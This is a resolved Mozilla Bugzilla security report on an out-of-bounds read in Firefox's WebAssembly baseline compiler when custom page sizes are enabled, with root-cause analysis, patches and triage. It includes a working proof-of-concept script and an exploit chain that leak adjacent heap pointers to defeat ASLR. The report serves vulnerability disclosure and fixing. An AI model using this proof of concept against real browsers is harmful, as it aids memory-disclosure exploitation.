Closed Bug 2026383 Opened 8 months ago Closed 5 months ago

Out-of-bounds read in [@ BaseCompiler::memCopyInlineM32] with wasm custom page sizes leaks adjacent heap memory

Categories

(Core :: JavaScript: WebAssembly, defect, P3)

defect

Tracking

()

RESOLVED FIXED
153 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox151 --- disabled
firefox152 --- disabled
firefox153 --- fixed

People

(Reporter: bugmon, Assigned: bvisness)

References

(Blocks 1 open bug)

Details

(6 keywords)

Attachments

(2 files, 2 external files)

Summary

Out-of-bounds read / information disclosure in the WebAssembly baseline compiler's inlined memory.copy implementation. The root cause is at js/src/wasm/WasmBCMemory.cpp:2502-2519: memCopyInlineM32() performs source loads from low to high offset, bounds-checking only the first load and setting omitBoundsCheck = true for all subsequent loads. This optimization assumes guard pages will catch higher-offset OOB accesses. However, ComputeMappedSize() at WasmMemory.cpp:408 explicitly omits guard pages for tiny-page memories (pagesize 1). The call site at WasmBaselineCompile.cpp:6817-6823 does not check for tiny page sizes before calling the inline path.

Affected Code

File: js/src/wasm/WasmBCMemory.cpp, lines 2499-2519

// Load all source bytes onto the value stack from low to high using the
// widest transfer width we can for the system. We will trap without writing
// anything if any source byte is out-of-bounds.
bool omitBoundsCheck = false;
size_t offset = 0;

#ifdef ENABLE_WASM_SIMD
for (uint32_t i = 0; i < numCopies16; i++) {
  RegI32 temp = needI32();
  moveI32(src, temp);
  pushI32(temp);

  MemoryAccessDesc access(memoryIndex, Scalar::Simd128, 1, offset,
                          trapSiteDesc(), hugeMemoryEnabled(memoryIndex));
  AccessCheck check;
  check.omitBoundsCheck = omitBoundsCheck;   // BUG: false only for i==0
  loadCommon(&access, check, ValType::V128);

  offset += sizeof(V128);
  omitBoundsCheck = true;                    // All subsequent loads unchecked
}
#endif

The comment claims "We will trap without writing anything if any source byte is out-of-bounds" — this is only true if guard pages exist. For a 64-byte copy from src=4080 on a 4096-byte tiny-page memory:

  • Load 1 at offset 0 (bytes 4080-4095): bounds check passes, 4080 + 16 <= 4096
  • Load 2 at offset 16 (bytes 4096-4111): no bounds check, reads past memory end
  • Load 3 at offset 32 (bytes 4112-4127): no bounds check, reads past memory end
  • Load 4 at offset 48 (bytes 4128-4143): no bounds check, reads past memory end

With no guard pages, loads 2-4 read whatever is mapped adjacent to the wasm memory buffer.

File: js/src/wasm/WasmMemory.cpp, lines 404-413

if (clampedMaxPages.pageSize() == PageSize::Standard) {
  maxSize += GuardSize;
} else {
#ifdef ENABLE_WASM_CUSTOM_PAGE_SIZES
  // In the case of a tiny page, we omit the guard page size
  // because we can't use guard pages for tiny page bounds checks.
  MOZ_ASSERT(clampedMaxPages.pageSize() == PageSize::Tiny);
#else
  MOZ_CRASH();
#endif
}

File: js/src/wasm/WasmBaselineCompile.cpp, lines 6817-6823

if (dstMemIndex == 0 && srcMemIndex == 0 && isMem32(dstMemIndex)) {
  int32_t signedLength;
  if (peekConst(&signedLength) && signedLength != 0 &&
      uint32_t(signedLength) <= MaxInlineMemoryCopyLength) {
    memCopyInlineM32();   // No check for tiny page size!
    return true;
  }
}

Correct Pattern

Either disable the inline path for tiny-page memories:

if (dstMemIndex == 0 && srcMemIndex == 0 && isMem32(dstMemIndex) &&
    codeMeta_.memories[dstMemIndex].pageSize() == PageSize::Standard) {
  int32_t signedLength;
  if (peekConst(&signedLength) && signedLength != 0 &&
      uint32_t(signedLength) <= MaxInlineMemoryCopyLength) {
    memCopyInlineM32();
    return true;
  }
}

Or reverse the source-load order so the highest-offset load is bounds-checked first (matching the store pattern, which loads high-to-low and is correct).

Exploit Chain

  1. Attacker enables wasm_custom_page_sizes pref (currently off by default; feature under active development)
  2. Create a wasm module with (memory i32 4096 4096 (pagesize 1)) — a 4096-byte memory exactly one system page in size
  3. Tiny-page memories force baseline compilation (WasmFeatures.cpp:210 disables Ion when customPageSizes is set)
  4. ComputeMappedSize() allocates exactly 4096 bytes with no guard pages
  5. Export a function calling memory.copy with a constant length ≤ MaxInlineMemoryCopyLength (64 bytes on x64), triggering memCopyInlineM32()
  6. Call copy(dst=0, src=4080): the spec requires a trap since 4080 + 64 > 4096
  7. First 16-byte SIMD load at offset 0 passes bounds check (4080 ≤ 4096-16)
  8. Subsequent loads at offsets 16, 32, 48 skip bounds checks and read bytes 4096-4143 from adjacent heap memory
  9. Stores write the leaked bytes to dst[0..63], which the attacker reads via new Uint8Array(mem.buffer)
  10. Leaked data includes live heap pointers, defeating ASLR

Steps to Reproduce

Run the JS shell with: --fuzzing-safe --setpref=wasm_custom_page_sizes=true --wasm-compiler=baseline

var ins = new WebAssembly.Instance(new WebAssembly.Module(wasmTextToBinary(`
(module
  (memory (export "mem") i32 4096 4096 (pagesize 1))
  (func (export "copy") (param i32 i32)
    (memory.copy (local.get 0) (local.get 1) (i32.const 64))
  )
)`)));
var u8 = new Uint8Array(ins.exports.mem.buffer);
for (var i = 0; i < 4096; i++) u8[i] = 0xAA;
ins.exports.copy(0, 4080);  // Should trap per spec, but doesn't
// u8[16..63] now contains leaked adjacent heap memory
for (var i = 16; i < 64; i++) print(u8[i].toString(16));

Security Impact

Severity: Moderate-to-High (gated by off-by-default pref)

Attacker capability: Read up to MaxInlineMemoryCopyLength - 16 bytes (48 bytes on x64 with SIMD) past the end of a wasm linear memory buffer. By heap-spraying wasm instances, an attacker can position sensitive data (heap/code pointers, other wasm instance data) adjacent to the target memory and leak it. My reproduction leaked live heap pointers in 4/20 trials without any spraying, demonstrating ASLR bypass potential.

Preconditions:

  • javascript.options.wasm_custom_page_sizes must be enabled (currently off by default; this is a Phase 4 WebAssembly proposal under active implementation)
  • Baseline compiler must be used (automatically forced when custom page sizes are enabled)

Spec violation: The WebAssembly spec mandates that memory.copy trap if src + len > memory.size. This bug causes the operation to silently succeed and leak data instead.

Verification Output

Trial 0: NO TRAP (spec violation!), leaked OOB bytes: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x00 ...
Trial 2: NO TRAP (spec violation!), leaked OOB bytes: 0x00 0x10 0x21 0xda 0x5a 0x77 0x00 0x00 0x00 0x20 0x08 ...
  [leaked pointer: 0x0000775ada211000]
Trial 10: NO TRAP (spec violation!), leaked OOB bytes: 0x00 0x90 0xb7 0xd5 0x5a 0x77 0x00 0x00 ...
  [leaked pointer: 0x0000775ad5b79000]
Trial 18: NO TRAP (spec violation!), leaked OOB bytes: 0x00 0x70 0xb4 0xd5 0x5a 0x77 0x00 0x00 ...
  [leaked pointer: 0x0000775ad5b47000]
Trial 19: NO TRAP (spec violation!), leaked OOB bytes: 0x00 0x30 0xb0 0xd5 0x5a 0x77 0x00 0x00 ...
  [leaked pointer: 0x0000775ad5b03000]

SUMMARY: 20/20 trials did NOT trap (spec requires trap for src+len > memsize)

When adjacent memory is unmapped (researcher's 5000-instance testcase), the OOB access causes SIGSEGV which the wasm signal handler converts to RuntimeError: index out of bounds — this masks the bug as a "correct" trap, but the underlying OOB access is real.

Suggested Fix

Gate the inline path on standard page size in emitMemCopy():

// js/src/wasm/WasmBaselineCompile.cpp
bool BaseCompiler::emitMemCopy() {
  ...
  if (dstMemIndex == 0 && srcMemIndex == 0 && isMem32(dstMemIndex) &&
      codeMeta_.memories[0].pageSize() == wasm::PageSize::Standard) {
    int32_t signedLength;
    if (peekConst(&signedLength) && signedLength != 0 &&
        uint32_t(signedLength) <= MaxInlineMemoryCopyLength) {
      memCopyInlineM32();
      return true;
    }
  }
  return memCopyCall(dstMemIndex, srcMemIndex);
}

Alternatively, fix memCopyInlineM32() to perform source loads from high offset to low offset (bounds-checking the highest-offset load first), matching the already-correct store pattern. Also audit memFillInlineM32() and any other inline memory operations for the same guard-page assumption.

Attached file wasm_memcopy_oob.js —
Attached file Crash stack trace —
Group: core-security → javascript-core-security

Unable to reproduce bug 2026383 using build mozilla-central 20260325212151-b431043d8af2. Without a baseline, bugmon is unable to analyze this bug.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.

Keywords: bugmon

Adding unsupported-config: javascript.options.wasm_custom_page_sizes is false by default on all channels (StaticPrefList.yaml:9510, no ifdef). The pref gates the vulnerable path directly — without it, tiny-page memories can't be created and ComputeMappedSize() always adds guard pages, so the omitted bounds checks are safely caught.

sec-moderate looks correct: this is a real heap OOB info leak (leaks live pointers, defeats ASLR) in an in-development Phase 4 proposal feature.

This relies on custom-page-sizes, which is disabled by default. I'm also unsure if this can actually leak data because the max memory.copy we inline is smaller than the guard page we should always have after a memory. The comment indicates it can, but I haven't verified that yet.

Severity: -- → S2
Flags: behind-pref+
Priority: -- → P3

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

Status: UNCONFIRMED → NEW
Ever confirmed: true

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

Duplicate of this bug: 2040120
Duplicate of this bug: 2042761
Duplicate of this bug: 2043542

(In reply to Ryan Hunt [:rhunt] from comment #6)

This relies on custom-page-sizes, which is disabled by default. I'm also unsure if this can actually leak data because the max memory.copy we inline is smaller than the guard page we should always have after a memory. The comment indicates it can, but I haven't verified that yet.

yes it can leak data. i provided a poc in my submission.

Assignee: nobody → bvisness
Attached file (secure) —
Attached file (secure) —

I'm also unsure if this can actually leak data because the max memory.copy we inline is smaller than the guard page we should always have after a memory.

For custom page sizes we don't allocate with guard pages, so if the requested memory is a clean multiple of the system page size, I believe it's possible to read out-of-bounds data. That said, I think we could theoretically allocate a guard page for tiny pages just as defense in depth. But this is not something to do right now given that so much of our custom page sizes implementation is broken (e.g. bug 2010402).

Group: javascript-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 153 Branch

Since nightly and release are affected, beta will likely be affected too.
For more information, please visit BugBot documentation.

The patch landed in nightly and beta is affected.
:bvisness, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(bvisness)
Flags: needinfo?(bvisness) → in-testsuite+
QA Whiteboard: [sec] [qa-triage-done-c154/b153]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: